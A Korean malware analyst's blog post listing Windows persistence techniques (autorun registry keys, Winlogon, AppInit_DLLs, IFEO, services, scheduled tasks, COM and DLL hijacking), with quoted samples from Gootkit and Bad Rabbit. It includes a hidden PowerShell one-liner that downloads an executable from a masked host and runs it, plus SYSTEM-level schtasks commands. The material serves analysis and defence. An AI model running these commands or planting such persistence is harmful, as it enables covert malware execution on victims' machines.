0. 개요

1. File Infection

2. DLL 로딩 순서 하이재킹

3. 레지스트리

4. 서비스

5. 작업 스케줄러

6. COM Object Hijacking

7. 루트킷

8. etc





0. 개요

  여기서는 윈도우 시스템에서의 악성코드 지속 메커니즘(Persistence Mechanism)을 다룬다. 악성코드는 프로그램이며 그래서 실행될 필요가 있다. 가장 처음 바이너리의 주입 및 실행을 통한 감염 이후 단편적인 행위만 수행하고 스스로 삭제되는 형태가 아니고서야 대부분의 악성코드는 지속적으로 컴퓨터에 남아 프로세스로서 실행되면서 악의적인 행위를 수행할 것이다. 

  하지만 악성코드의 대상은 대부분 데스크탑 컴퓨터일 것이기 때문에 시스템 종료 같은 변화가 생긴다. 악성코드 바이너리는 컴퓨터에 남아 있겠지만 악의적인 행위를 하기 위해서는 프로세스로서 실행되어야 하기 때문에 시스템 부팅 시 마다 또는 악의적인 대상이 되는 프로세스의 실행 시 마다 악성코드가 프로세스로서 실행중일 필요가 있다. 그러기 위해서는 부팅 시에 실행되게 하거나 대상 프로세스를 가질 시에 적어도 이 프로세스가 실행될 때 마다 악성코드가 실행되어야 할 필요가 있다.





1. File Infection

  이 방식은 공격 대상 파일을 감염시켜서 악의적인 행위를 수행하게 한다. 다양한 방식으로 사용될 수 있지만 기본적으로 중간에 흐름을 가로채는 것과 악의적인 루틴이 삽입되는 것을 공통점으로 갖는다. 그리고 실행 파일 자체를 감염시킬 수도 있지만 로드되는 DLL을 감염시킬 수도 있다.

  만약 대상 프로그램이 실행될 때 마다 악의적인 행위를 수행할 필요가 있다면 프로그램 초기에 또는 특정한 함수 호출 시마다 미리 심어놓은 루틴으로 분기시켜서 악의적인 행위를 수행하게 할 수 있다. 또는 이 프로그램이 시스템 부팅 시 마다 실행되는 프로세스라면 컴퓨터를 켤 때마다 악의적인 루틴이 실행될 수 있다. 이 프로세스가 종료 시 까지 유지되지 않는다고 하더라도 독립적으로 존재하는 악성코드를 실행시킨는 루틴을 삽입할 수 있다.





2. DLL 로딩 순서 하이재킹

  프로세스가 DLL을 로드할 때는 특정한 순서가 존재한다. 가장 먼저 프로세스의 실행 파일이 존재하는 디렉터리에서 찾은 후 존재하지 않는다면 현재 디렉터리 그리고 시스템 디렉터리 순으로 찾게 된다. 만약 DLL 로드 시에 제대로 검증하지 않는다면 로드할 DLL의 이름과 같은 이름을 가진 악의적인 DLL을 더 높은 우선순위를 가진 디렉터리에 넣어 DLL 하이재킹을 수행할 수 있다. 결론적으로 특정 프로세스 실행 시에 악의적인 DLL이 로드됨으로써 코드가 실행될 수 있다.





3. 레지스트리

  가장 대표적인 방식으로서 많은 악성코드에서 사용된다.


3.1 Run / RunOnce


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx ]


  HKCU에 존재하는 값은 일반 사용자도 수정할 수 있지만 HKLM의 경우에는 관리자 권한이 필요하다. 대신 HKLM은 전체 시스템에서 모두 통하는 방식이지만 HKCU의 경우에는 해당 사용자 부팅 시에만 실행된다. 그리고 RunOnce는 오직 한 번만 실행되고 이후에는 삭제되므로 시스템 부팅 시 마다 실행하고 싶은 경우에는 Run을 사용한다. 마지막으로 RunOnce는 프로그램 시작 이후로 바로 레지스트리 키를 삭제하지만 RunOnceEx는 종료된 후에 삭제한다.



3.2 Windows\load / run


[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load ]

[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run ]


  유저 로그온 시 실행된다.



3.3 Policies\Explorer\Run


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]


- Group Policy에서 설정한 경우 반영되는 레지스트리

- 액티브 디렉터리(인증 관리 등 컴퓨터 네트워크의 자원 관리)와 관련된 개념

- 관리자가 정책을 할당하고 관리할 수 있다.



3.4 WinLogon 프로세스에서 사용되는 키들

  winlogon.exe는 사용자 로그온 시에 실행되는 프로세스로서 인증과 초기화 등을 담당한다.


[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit ]


  WinLogon은 초기화를 진행하기 위해 이곳의 Userinit 키에 명시된 값을 시작한다. 일반적으로 값은 userinit.exe이며 이 프로세스가 초기화를 진행한다. 하지만 이 값을 수정할 수 있기 때문에 부팅 시 마다 악성코드를 실행시키는데 사용될 수 있다.


[ HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]

[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]


  WinLogon은 마지막에 Shell을 실행시키는 역할도 수행하는데 윈도우에서 셸은 기본적으로 EXPLORER이다. 그러므로 디폴트 값은 explorer.exe다. 이것도 마찬가지로 수정할 수 있다.



3.5 Startup Keys


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]


  디폴트 값은 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup이다. 즉 우리에게 익숙한 "시작 프로그램" 폴더이다.



3.6 Browser Helper Objects (BHO)


[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects ]


  BHO는 브라우저에서 추가적인 기능을 지원하기 위해 만들어진 플러그인 형태의 DLL 모듈이다. 실질적인 내용은 IE 실행 시에 이 DLL이 로드되기 때문에 악성코드가 사용한다. 참고로 BHO는 윈도우 10의 IE 11에서도 아직 지원된다고 한다. 물론 Edge는 지원하지 않는다.



3.7 서비스

  서비스도 레지스트리와 많은 연관이 있다. 이 부분은 따로 뒤에서 자세히 정리하겠다.



3.8 AppInit_DLLs

[ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs ]

  여기에 저장된 값 즉 경로는 User32.dll의 DLL_PROCESS_ATTACH 과정에서 LoadLibrary() 함수를 통해 로드된다. 대부분의 실행 파일들이 user32.dll을 로드하기 때문에 많은 악성코드가 자주 사용하는 레지스트리이다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs ]

  이 외에도 AppCertDlls 레지스트리도 존재한다. 위와의 차이점은 CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), WinExec()를 호출하는 프로세스에만 로드된다는 것이다.



3.9 IFEO ( Image File Execution Options )


[ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options ]


  원래 프로세스 실행 시에 자동으로 디버거가 Attach시키도록 하는 방식으로 사용된다. 악성코드는 자신을 여기에 등록시킬 수 있다.



3.10 GPO (Group Policy Object)를 이용한 방식


  Gootkit 악성코드에서 사용된 방식이다. 이 악성코드는 APPDATA 폴더에 정상과 유사한 이름의 디렉터리를 생성하고 악성코드를 복사한다. 동시에 같은 이름을 가진 .inf 파일을 동일한 폴더에 복사한다. 다음 [ https://forums.juniper.net/t5/Threat-Research/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055 ] 링크에서 사용된 샘플을 예시로 든다.


File Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.exe

Inf Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.inf


  .inf 파일의 내용은 다음과 같다.


[Version]

signature = "$CHICAGO$"

AdvancedINF = 2.5, "You need a new version of advpack.dll"


[DefaultInstall]

RunPreSetupCommands = fvybqltbgwzfaxgrgbktmbjcnfbcgu:2


[fvybqltbgwzfaxgrgbktmbjcnfbcgu]

C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\mounper.exe



  이후 다음 레지스트리 키들을 생성한다.


[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Section1 - DefaultInstall ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Count - 4 ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Path1 - %APPDATA%\\Microsoft\Internet Explorer\mounper.inf ]


  여기까지 완료되면 Run Key를 등록한 것과 같이 이후 재부팅 시에 실행된다.





4. 서비스

  서비스는 윈도우가 부팅될 때 자동으로 실행되며 지속적으로 존재한다. 이러한 특징 외에도 은닉과 관련된 특징이 존재하기 때문에 악성코드는 자신의 지속 메커니즘으로써 서비스를 이용하는 경향이 많다. 블로그에 "윈도우의 서비스"에 대한 글이 존재하기 때문에 여기서는 간단하게만 정리하기로 한다. exe 형태의 실행 파일은 다음의 레지스트리에 저장된다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services ]


  위의 키에 악성코드의 경로가 등록되어 있고 윈도우는 부팅 시 이 레지스트리를 참고하여 등록된 서비스들을 실행시킬 것이다. 

  Windows NT 이전 버전에서는 다음의 레지스트리 키들이 사용자 로그온 이전에 프로그램을 실행하는데 사용되었다. 그 이후부터는 services.exe 즉 SCM이 사용자 로그온 이전의 시스템 서비스들에 대한 로드를 담당한다.


[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices ]





5. 작업 스케줄러

  관련 내용은 다음 링크에 더 자세하게 나와있다. [ http://sanseolab.tistory.com/68 ]


  다음으로는 여러 예제들을 보면서 어떤 방식으로 사용되는지를 살펴보았다.



- 예제 1 ]

http://securityfactory.tistory.com/293

  여러 정보를 저장한 xml 파일을 만든 후 다음 명령어를 통해 인자로 xml 경로를 넣고 실행한다.


> schtasks.exe /Create /TN "Update\Window" /XML "경로명"



- 예제 2 ] Bad Rabbit

http://blog.alyac.co.kr/1377


  위의 링크를 보면 xml 파일 관련해서 나오는데 검색해보니 다른 자료에서는 xml 관련한 내용이 나오지 않고 명령어를 봐도 xml을 이용하지 않고 직접 입력하는 방식으로 보인다. 명령어는 각각 다음과 같다.


cmd.exe /c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR %WinDir%\system32\shutdown.exe /r /t 0 /f /ST : 시간


cmd.exe /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR %WinDir%\system32\cmd.exe /C Start \\ \%WinDir%\dispci.exe\ -id [랜덤숫자]&& exit



- 예제 3 ]

https://kkomak.wordpress.com/2017/06/01/%EC%B5%9C%EA%B7%BC-%EC%9D%B4%EC%8A%88%EB%90%9C-%EA%B5%AD%EB%82%B4-%EC%B7%A8%EC%95%BD%ED%95%9C-activex-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EA%B4%80%EB%A0%A8/ ]


  이것을 보면 at을 아직 사용할 수 있는것 같기도 하다.


“cmd /c c:\windows\system32\at.exe “,” powershell -nop -nologo -wind hidden (New-Object System.Net.WebClient).DownloadFile(‘http://xxxx.xx.xx/xxxx/xx/rss.php’,’c:\windows\temp\iexplore.exe’);(New-Object -com Shell.Application).ShellExecute(‘c:\windows\temp\iexplore.exe’);





6. COM Object Hijacking

  COM과 관련한 기본적인 내용은 다음 링크를 참고한다.  [ http://sanseolab.tistory.com/49 ]


  HKCR\CLSID\의 값들은 HKLM\SOFTWARE\Classes\CLSID\와 HKCU\SOFTWARE\Classes\CLSID\의 조합이다. 문제는 우리가 관리자 권한이 없어도 HKCU\SOFTWARE\Classes\CLSID\의 값을 조작할 수 있다는 점이다.


  어떤 응용 프로그램이 COM을 이용하는 경우 HKCR\CLSID\에서 상응하는 CLSID를 검색한다. 여기에는 보통 DLL의 경로가 들어있으며 COM을 초기화한 경우 이 DLL이 로드된다. COM Object Hijacking은 이 DLL의 경로를 악성코드 DLL의 경로로 수정하게 된다. 이를 통해 DLL 인젝션 등의 방식 없이도 특정 응용 프로그램 실행 시에 자동으로 악성 DLL이 로드되게 할 수 있다.





7. 루트킷

  생략.





8. etc

  꾸준히 다양한 방식들이 나오고 있다.


Appx/UWP 앱의 디버거를 이용한 방식 (레지스트리) : https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/amp/?__twitter_impression=true ]



'악성코드 분석' 카테고리의 다른 글

Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
인스톨러들 분석  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
Posted by SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

최근에 올라온 글

최근에 달린 댓글

글 보관함